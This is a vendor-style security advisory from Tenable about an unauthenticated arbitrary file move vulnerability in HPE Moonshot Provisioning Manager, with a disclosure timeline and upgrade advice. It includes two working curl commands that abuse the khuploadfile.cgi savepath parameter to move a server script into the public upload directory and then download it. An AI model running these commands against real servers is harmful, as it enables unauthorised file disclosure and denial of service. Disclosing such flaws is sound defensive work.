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[R2] HPE Moonshot Provisioning Manager Arbitrary File Move

High

Synopsis

Tenable found a new vulnerability in HPE Moonshot Provisioning Manager (MPM) while developing a Nessus plugin to detect HPESBHF03803. An unauthenticated remote attacker can use the web interface to move arbitrary files to the HPE MPM upload directory: /opt/hp/moonshot/upload. The unauthenticated attacker can then retrieve the moved file from https://[target]/upload.

The server uses normal mv semantics when moving the file. As such, this vulnerability can also be a denial of service attack. However, the MPM web server runs as the user moonshot:moonshot so the scope of damage is largely limited to the web server files.

The following curl command moves the file server_response.py to the upload directory as my_file:

[[email protected]]$ curl -kd "isofile.savepath=/opt/hp/moonshot/tinkerbell/cgi-bin/server_response.py&isofile.filename=myfile"  https://[target]/cgi-bin/khuploadfile.cgi
<html>
<body>
<p>
File Upload Success
<p>
</body>
</html>
</pre>

The attacker can then grab the file with this curl command:

[[email protected]]$ curl -k https://[target]/upload/myfile
#!/usr/bin/python
import cgi
import os.path
import cgitb

cgitb.enable()
debug = False
if os.path.exists("/tmp/khupload"):
    debug = True
    fout = open("/tmp/server_response.log", "w")

... Truncated ...

Solution

Upgrade to HPE Moonshot version 1.24 or later.

Disclosure Timeline

01-26-2018 - Vulnerability discovered.
02-15-2018 - Informed [email protected] of the vulnerability and our intention to disclose on May 17, 2018.
02-16-2018 - HP PSIRT acknowledges receipt and assigns PSRT110665.
03-12-2018 - HP indicates the bug has moved to development.
04-12-2018 - HP asks for PoC to validate their fix.
04-12-2018 - Tenable provides the original two curl commands.
04-12-2018 - HP acknowledges the commands.
05-07-2018 - HP asks who to credit on the bulletin.
05-07-2018 - Tenable responds.
06-07-2018 - Tenable asks for status.
06-08-2018 - HP indicates the patch isn't ready yet.
06-08-2018 - Tenable informs HP of intent to publish an advisory.
06-08-2018 - HP acknowledges Tenable's intent and asks that the pending bulletin number, HPESBHF03843, be included in the advisory.
06-08-2018 - Tenable agrees.
06-25-2018 - HP informs Tenable of a planned advisory release.
06-26-2018 - HP releases their advisory.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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